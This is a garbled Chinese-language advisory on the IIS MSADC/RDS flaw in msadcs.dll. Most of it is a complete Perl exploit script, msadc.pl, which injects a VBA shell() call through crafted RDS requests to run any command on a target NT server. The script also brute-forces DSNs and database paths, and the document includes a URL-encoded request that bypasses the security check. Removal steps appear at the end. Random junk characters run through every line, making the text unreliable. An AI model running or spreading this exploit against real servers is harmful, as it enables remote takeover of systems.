IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
/1U,+g^O> ddl 3 fl#f 涉及程序：
K:C+/ O Microsoft NT server
b\H/-7< /oB K&r[( 描述：
H_v/}DEG 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
gr[D!D > i;gw= Be 详细：
-g~iE]x6Y 如果你没有时间读详细内容的话，就删除:
:LG}yq^ c:\Program Files\Common Files\System\Msadc\msadcs.dll
YK7gd|LR] 有关的安全问题就没有了。
Ed4_<: 5QNBB|X@ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
= xl7vHn7 ?NQD # 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
6CCZd a@ 关于利用ODBC远程漏洞的描述，请参看:
+HYN$> *'s&/vEy http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm +W!'B
r Id; mn}+~ 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
RiwEuY http://www.microsoft.com/security/bulletins/MS99-025faq.asp [Q7`RB ;9 lqS v/6 这里不再论述。
& 0?DL tPQ2kEW 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
/%c+
eL}l <1v{[F_ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
'Wd3`4V$ 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
ikeJDKSG @?(nwj~ s` +
?[ ACZF #将下面这段保存为txt文件，然后: "perl -x 文件名"
QJb7U5:B+ `1}HWLBX. #!perl
\3,$YlG #
% j YQ # MSADC/RDS 'usage' (aka exploit) script
8.6no #
9N`+ O # by rain.forest.puppy
yN%3w0v #
Q3'(f 9
x # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
] `b<" # beta test and find errors!
[J(@$Qix o%y+Y;|?J use Socket; use Getopt::Std;
bL6L- S getopts("e:vd:h:XR", \%args);
ufH uI* d{vc
wZQ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
ot&j HS' ;))[P_$zB if (!defined $args{h} && !defined $args{R}) {
? Yynd print qq~
e/g<<f - Usage: msadc.pl -h <host> { -d <delay> -X -v }
Nn~tb2\vk -h <host> = host you want to scan (ip or domain)
v)X[gt
tf -d <seconds> = delay between calls, default 1 second
cN0~;!{i -X = dump Index Server path table, if available
XY&]T'A -v = verbose
h Kp,4D>2_ -e = external dictionary file for step 5
^^20v wq n#/U@qVgc Or a -R will resume a command session
v]UU&Jq8U lyMJW }T+> ~; exit;}
3 LZL!^ 5N [M,27 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
)eIz{Mdp= if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
eWqVh[ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
BV wRPt if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
d|D'&&&c $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
-;W\f<q] if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
G~ Q*:m 8Iqk%n~( if (!defined $args{R}){ $ret = &has_msadc;
w>1l@%U o die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
==r ? t6! p\Y}} print "Please type the NT commandline you want to run (cmd /c assumed):\n"
R(n0!h4 . "cmd /c ";
;@=@N9q K $in=<STDIN>; chomp $in;
|1\dCE03} $command="cmd /c " . $in ;
+ 3~Gc<OO giA~+m~fN if (defined $args{R}) {&load; exit;}
*;V2_fWJ@ K{`2jK# print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
S]#=ES'^/ &try_btcustmr;
;'Z,[ a Q9Xm b2LN print "\nStep 2: Trying to make our own DSN...";
]e#,\})Br &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
\6nQ-S_ -Lz1#S k]A print "\nStep 3: Trying known DSNs...";
Z]1z*dv &known_dsn;
A1=$kzw{UH [xp~@5r' print "\nStep 4: Trying known .mdbs...";
!$ J ) &known_mdb;
wAj(v6 ps{&WT3a if (defined $args{e}){
PEwW*4Xo print "\nStep 5: Trying dictionary of DSN names...";
}(vOaD|k = &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
{U+9,6.` lhW#IiX print "Sorry Charley...maybe next time?\n";
!pF KC) exit;
%yS`C"ZQ) D{Jc+Q$ ##############################################################################
%3@RZe %'D:bi5 sub sendraw { # ripped and modded from whisker
JXI+k.fi sleep($delay); # it's a DoS on the server! At least on mine...
tZc.%TU my ($pstr)=@_;
"cz]bCr8 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
l,FG:"`Z@ die("Socket problems\n");
<|>:UGAR if(connect(S,pack "SnA4x8",2,80,$target)){
n<"a+TTU select(S); $|=1;
8zB+%mcF print $pstr; my @in=<S>;
tr67ofld| select(STDOUT); close(S);
_,-M8=dL%* return @in;
1dgN 10 } else { die("Can't connect...\n"); }}
%lqG* dRx0 X
G@>1 / ##############################################################################
pN^G[ szM=U$jKq sub make_header { # make the HTTP request
U
mx my $msadc=<<EOT
Z({`9+/>u POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
m= beB\= User-Agent: ACTIVEDATA
_QtQPK\+ Host: $ip
s'fcAh,c6 Content-Length: $clen
t9-\x Connection: Keep-Alive
Fy+7{=?^F 3!L<=X ADCClientVersion:01.06
-^ nQ^Td=j Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
/v5g;x_T JD\ -X(O --!ADM!ROX!YOUR!WORLD!
;H#R{uR_< Content-Type: application/x-varg
]6c2[r?g{ Content-Length: $reqlen
%onAlf<$:^ TQxc?o EOT
%~v76;H< ; $msadc=~s/\n/\r\n/g;
(L6]uNOG return $msadc;}
!?>p]0*< OmUw.VH ##############################################################################
Zn=Jm Z ` a1R "A sub make_req { # make the RDS request
q'8@ 0FT0 my ($switch, $p1, $p2)=@_;
rQQPs \o my $req=""; my $t1, $t2, $query, $dsn;
^ {]sD}Q" 3E2.v5* if ($switch==1){ # this is the btcustmr.mdb query
fB ,!|u $query="Select * from Customers where City=" . make_shell();
Tk@g9\6O9 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
{CyPcD'$s $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
C?<XtIoB }JTgj elsif ($switch==2){ # this is general make table query
.^+$w $ $query="create table AZZ (B int, C varchar(10))";
r3bvuq,6$ $dsn="$p1";}
A,CPR0g%
0{ Ll4 elsif ($switch==3){ # this is general exploit table query
pUEok + $query="select * from AZZ where C=" . make_shell();
W&re;?Z{ke $dsn="$p1";}
Vgb>3]SU X72X:" elsif ($switch==4){ # attempt to hork file info from index server
-H]f@|AOw $query="select path from scope()";
`\Fj O" $dsn="Provider=MSIDXS;";}
o5G "J"vxe s$y#Ufz elsif ($switch==5){ # bad query
/v ;Kb|e $query="select";
a0W\? $dsn="$p1";}
)cmLo0`$ kp>Z /kt $t1= make_unicode($query);
36Y[7 m= $t2= make_unicode($dsn);
I z=w2\r $req = "\x02\x00\x03\x00";
Xs,PT $req.= "\x08\x00" . pack ("S1", length($t1));
F>-@LOqHy $req.= "\x00\x00" . $t1 ;
s\1_-D5]Z $req.= "\x08\x00" . pack ("S1", length($t2));
Fo XQ]X7" $req.= "\x00\x00" . $t2 ;
*L8HC8IbH $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
HkB<RsS$p_ return $req;}
C-
Rie[ YaZ "&i ##############################################################################
&-)Y[#\J
r0uXMr=Z96 sub make_shell { # this makes the shell() statement
wdDHRW0Y return "'|shell(\"$command\")|'";}
JY8"TQ$x ^ {+:w:g ##############################################################################
~ai '
M# HaN _}UMP
sub make_unicode { # quick little function to convert to unicode
4g^+y.,r_f my ($in)=@_; my $out;
rxk{Li<9 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
\osQwGPV return $out;}
S7>gNE;%]u [k{i N1n
##############################################################################
Q>c6ouuJ Y_YIJ@ sub rdo_success { # checks for RDO return success (this is kludge)
<%JO 3E my (@in) = @_; my $base=content_start(@in);
cQ ;Ry!$ if($in[$base]=~/multipart\/mixed/){
8t
\> return 1 if( $in[$base+10]=~/^\x09\x00/ );}
x{o 5Ha{ return 0;}
[jn;|
3 BiCa " ##############################################################################
Sg~A'dG zi[M{bm sub make_dsn { # this makes a DSN for us
M{RZ-)IC my @drives=("c","d","e","f");
?
Z
fhz print "\nMaking DSN: ";
x#VUEu]8 foreach $drive (@drives) {
n L20}"$E print "$drive: ";
&bgi0)> my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
~*]`XL.- "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
% x;!s=U . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
Z6@J-<u $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
?bDae%>.d, return 0 if $2 eq "404"; # not found/doesn't exist
O +}EE^*a if($2 eq "200") {
,T[
+omo foreach $line (@results) {
O u,_l return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
''0 7Km@x } return 0;}
,PxQ[CGg ^#nWgo7{7 ##############################################################################
Hxi=\2- <s3( sub verify_exists {
,WK$jHG] my ($page)=@_;
z5'nS&x my @results=sendraw("GET $page HTTP/1.0\n\n");
-s "$I:v return $results[0];}
eakIK+-21y ,X6j$YLWp ##############################################################################
bj{f[nZ d ,lM2BXz% sub try_btcustmr {
QLg9a G| my @drives=("c","d","e","f");
_oVA0@#n my @dirs=("winnt","winnt35","winnt351","win","windows");
=6YO!B>7 T^G<)IX`c foreach $dir (@dirs) {
l);8y5 print "$dir -> "; # fun status so you can see progress
W/Q%%)J foreach $drive (@drives) {
H2cc).8 " print "$drive: "; # ditto
+N_%|!F-c $reqlen=length( make_req(1,$drive,$dir) ) - 28;
H;&t"Ql. $reqlenlen=length( "$reqlen" );
.w)t<7 y $clen= 206 + $reqlenlen + $reqlen;
%;? 3A# Z`t?kXDNoI my @results=sendraw(make_header() . make_req(1,$drive,$dir));
1=.kH[R if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
0E1 )&f else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
+[9"M+4- XLxr~Yo ##############################################################################
S,%HW87 S`KCVQ>V sub odbc_error {
}dl(9H=4 my (@in)=@_; my $base;
RL9BB. my $base = content_start(@in);
^u,x~nPXg if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
axOy~%%c $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
OG`O i^2 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
0VPa;{i/ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
zy;w07-) return $in[$base+4].$in[$base+5].$in[$base+6];}
u;}B4Rx print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
S}O\<6& print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
Ts6X:D4, $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
c zRh. kz, AFED YRX ##############################################################################
WE]^w3n9 yG4MqR)J sub verbose {
J qZ5DjI: my ($in)=@_;
"Fiv
]^ return if !$verbose;
[L^# <@S print STDOUT "\n$in\n";}
k({8C`&tK/ ,cEcMaJ ##############################################################################
gK#w$s50 pC8i &_A sub save {
[Nc Ok, my ($p1, $p2, $p3, $p4)=@_;
Pme?`YO$x open(OUT, ">rds.save") || print "Problem saving parameters...\n";
9Z
4 R!Q print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
:g";p.~= close OUT;}
XU7bWa fy >m!.l{*j>N ##############################################################################
q4= RE zPYa@0I
sub load {
?2;G_P+ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
)I4t l/ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
r kl7p? @p=<IN>; close(IN);
L+L9)8FJ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
06$9Uz9 $target= inet_aton($ip) || die("inet_aton problems");
P0=F9`3 wb print "Resuming to $ip ...";
h@d
m:=ul $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
P+UK@~D+G if($p[1]==1) {
|?kH ]Trr $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
r~! lD9R~ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
9n'p 7(s% my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
{9MYEN}FO if (rdo_success(@results)){print "Success!\n";}
1-#tx*> AY else { print "failed\n"; verbose(odbc_error(@results));}}
tS7u#YMh elsif ($p[1]==3){
3F1Z $d( if(run_query("$p[3]")){
KK6YA print "Success!\n";} else { print "failed\n"; }}
? Dm&A$r elsif ($p[1]==4){
qf U3Cwy if(run_query($drvst . "$p[3]")){
}d(6N&;"zN print "Success!\n"; } else { print "failed\n"; }}
u@B"*V~K exit;}
]'q<wPi YBP{4Rl ##############################################################################
pxj"<q`nw8 e)kf;Hkf sub create_table {
/slML~$t< my ($in)=@_;
9@06]EI_ $reqlen=length( make_req(2,$in,"") ) - 28;
2} t wt $reqlenlen=length( "$reqlen" );
icmD Pq $clen= 206 + $reqlenlen + $reqlen;
KX`,7- my @results=sendraw(make_header() . make_req(2,$in,""));
e
j9G[ return 1 if rdo_success(@results);
|.A>0-']M my $temp= odbc_error(@results); verbose($temp);
?H&p zY~H return 1 if $temp=~/Table 'AZZ' already exists/;
`O/)q^m1L return 0;}
$BY{:# a] O}Jb,?p ##############################################################################
&bRH(yF %}[??R0 sub known_dsn {
l ;uEw # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
d9(F wmE my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
zBbTj IFQ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
?*4zNhL "banner", "banners", "ads", "ADCDemo", "ADCTest");
"^H+A-R[ zjmc>++<t foreach $dSn (@dsns) {
xcig'4L print ".";
v6:DA#0 next if (!is_access("DSN=$dSn"));
u#\3T>o%@ if(create_table("DSN=$dSn")){
$$@Tg kg?o print "$dSn successful\n";
? &O$ayG77 if(run_query("DSN=$dSn")){
|}; ~YMH print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
5h1j.t! print "Something's borked. Use verbose next time\n";}}} print "\n";}
w9%gaK; WxFjpJt
##############################################################################
'SmdU1]4BD 5
Jhl4p}w sub is_access {
Lj H] ;=R my ($in)=@_;
N+\*:$>zt6 $reqlen=length( make_req(5,$in,"") ) - 28;
abND#t $reqlenlen=length( "$reqlen" );
[H6>] & $clen= 206 + $reqlenlen + $reqlen;
S,H{\c my @results=sendraw(make_header() . make_req(5,$in,""));
/2:r }O my $temp= odbc_error(@results);
> BX_Bou verbose($temp); return 1 if ($temp=~/Microsoft Access/);
1 wG1\9S return 0;}
llzl-2` / #lO;G
k{ ##############################################################################
?P5D!b :( "hfwj`U sub run_query {
I9 E@2[=! my ($in)=@_;
RA6D dqT~ $reqlen=length( make_req(3,$in,"") ) - 28;
C\{4<:<_& $reqlenlen=length( "$reqlen" );
!cZsIcI e $clen= 206 + $reqlenlen + $reqlen;
xn"g_2Hi my @results=sendraw(make_header() . make_req(3,$in,""));
^tv*I~>J! return 1 if rdo_success(@results);
{x8`gP\H my $temp= odbc_error(@results); verbose($temp);
XP7A.I#q0 return 0;}
2B4 c :jJ ? _W*7< ##############################################################################
z+b~#f3 181P;R=}< sub known_mdb {
t`AD9
H"\! my @drives=("c","d","e","f","g");
N ]duv~JS my @dirs=("winnt","winnt35","winnt351","win","windows");
1jL?z6S my $dir, $drive, $mdb;
1pV"< ,t my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
R/#*~tPi8 M Wl@smRh # this is sparse, because I don't know of many
tT 7$2 9 my @sysmdbs=( "\\catroot\\icatalog.mdb",
iB?@(10}ES "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
Bg`b*(Q "\\system32\\certmdb.mdb",
[V2l&ZUni "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
H) S3 /%.| gDsZbmR my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
Pc3u`Q L? "\\cfusion\\cfapps\\forums\\forums_.mdb",
<n>< A+D "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
5?b9[o+ D "\\cfusion\\cfapps\\security\\realm_.mdb",
qb_V
,b9 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
& zG= "\\cfusion\\database\\cfexamples.mdb",
<fw[7=_)^ "\\cfusion\\database\\cfsnippets.mdb",
P
,i)A "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
oVu>jO:. "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
4 =9F1[ "\\cfusion\\brighttiger\\database\\cleam.mdb",
DbcKKgPn(9 "\\cfusion\\database\\smpolicy.mdb",
qSQjAo4t@ "\\cfusion\\database\cypress.mdb",
3 !,% ;Vz= "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
{\V)bizY; "\\website\\cgi-win\\dbsample.mdb",
D ir We "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
zm e:U![ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
0h7\zoZ5 ); #these are just
1)r1/0 foreach $drive (@drives) {
,y0kzwPR1 foreach $dir (@dirs){
_ehU:3L`s foreach $mdb (@sysmdbs) {
w
Bl=]BW!% print ".";
~ e"^-x if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
NlKnMgt~ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
T>c;q%A/ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
sLTf).xh print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
l- X|3 , } else { print "Something's borked. Use verbose next time\n"; }}}}}
(p. 5J 4_mh foreach $drive (@drives) {
Bq!P .%6p4 foreach $mdb (@mdbs) {
S2*:]pYf} print ".";
8ZN J} if(create_table($drv . $drive . $dir . $mdb)){
MT9a 1 > print "\n" . $drive . $dir . $mdb . " successful\n";
[)*fN|Hy if(run_query($drv . $drive . $dir . $mdb)){
0QGl'u{F print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
*) w p } else { print "Something's borked. Use verbose next time\n"; }}}}
b#P8Je`;9 }
D1w_Vpz :>,d$f^tqE ##############################################################################
M6e"4Gh H1 l' \ sub hork_idx {
os2yiF", print "\nAttempting to dump Index Server tables...\n";
+@!9&5S A print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
/
g&mDYV| $reqlen=length( make_req(4,"","") ) - 28;
I@hC$o $reqlenlen=length( "$reqlen" );
:g,r l\S7 $clen= 206 + $reqlenlen + $reqlen;
,^+3 AT my @results=sendraw2(make_header() . make_req(4,"",""));
g~cWBr%> if (rdo_success(@results)){
%|;^[^7+}t my $max=@results; my $c; my %d;
WaH TzIa[ for($c=19; $c<$max; $c++){
i{`>!)U $results[$c]=~s/\x00//g;
8^^al!0K~ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
TWn7&,N $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
V{"5)Ly?fu $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
^|8cS0dK]Q $d{"$1$2"}="";}
A.y$.( foreach $c (keys %d){ print "$c\n"; }
_|*j8v3 } else {print "Index server doesn't seem to be installed.\n"; }}
rOcfPLJi0 {_
# ##############################################################################
74KFsir@ )X@(>b { sub dsn_dict {
wHAh6lm open(IN, "<$args{e}") || die("Can't open external dictionary\n");
'n=FBu ^ while(<IN>){
bD r 'W $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
Kkd7D _bZ* next if (!is_access("DSN=$dSn"));
]-R8W/fDn if(create_table("DSN=$dSn")){
J)R2O4OEd print "$dSn successful\n";
t'z] <7 if(run_query("DSN=$dSn")){
%TLAn[LW( print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
uU<Yf5 print "Something's borked. Use verbose next time\n";}}}
~[[a7$_4 print "\n"; close(IN);}
.$q]<MK8 `dj/Uk ##############################################################################
_ p?q/-[4 &;y(@e }D sub sendraw2 { # ripped and modded from whisker
4gYP .h:, sleep($delay); # it's a DoS on the server! At least on mine...
I\[*vgjm3G my ($pstr)=@_;
vbSz&+52; socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
>z( 6ADq die("Socket problems\n");
fxc~5~$ > if(connect(S,pack "SnA4x8",2,80,$target)){
'-
Z4GcL print "Connected. Getting data";
|5O%@ open(OUT,">raw.out"); my @in;
wi9fYfuv3R select(S); $|=1; print $pstr;
;B7>/q;g while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
Y(&phv& close(OUT); select(STDOUT); close(S); return @in;
js> 6Du } else { die("Can't connect...\n"); }}
d 5Il0sG ?"L>jr( ##############################################################################
9 /9 ,[ A Tp9LBF sub content_start { # this will take in the server headers
B[k"xs my (@in)=@_; my $c;
D$j `+` for ($c=1;$c<500;$c++) {
T *$ uc, if($in[$c] =~/^\x0d\x0a/){
4 ba 1c if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
C~l5D4D# else { return $c+1; }}}
j Sddjs return -1;} # it should never get here actually
o XGf#>keg p*>[6{$3)O ##############################################################################
YGxdYwBwf KKOu":b
sub funky {
G M@TWwG-B my (@in)=@_; my $error=odbc_error(@in);
R,y8~D if($error=~/ADO could not find the specified provider/){
SBYRN##n_ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
F2XXvxG exit;}
iA%3cpIc(Z if($error=~/A Handler is required/){
-,Q<*)q{ print "\nServer has custom handler filters (they most likely are patched)\n";
YpuA ,r;" exit;}
1pcSfN :"1 if($error=~/specified Handler has denied Access/){
%.Mtn%:I * print "\nServer has custom handler filters (they most likely are patched)\n";
0ai4%=d- exit;}}
{( t (}-:Z f(9w FT ##############################################################################
h>\}- |Ek !FO92 P1 6 sub has_msadc {
y{kXd1, my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
(2%C% #]8 my $base=content_start(@results);
O *jNeYA return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
p4t(xm2T return 0;}
>;HXH^q ( /uL6W d0 ########################
BURiLEYZl Z-:$)0f u0i
@. 解决方案：
u_mm*o~)g 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
#?aR,@n 2、移除web 目录: /msadc
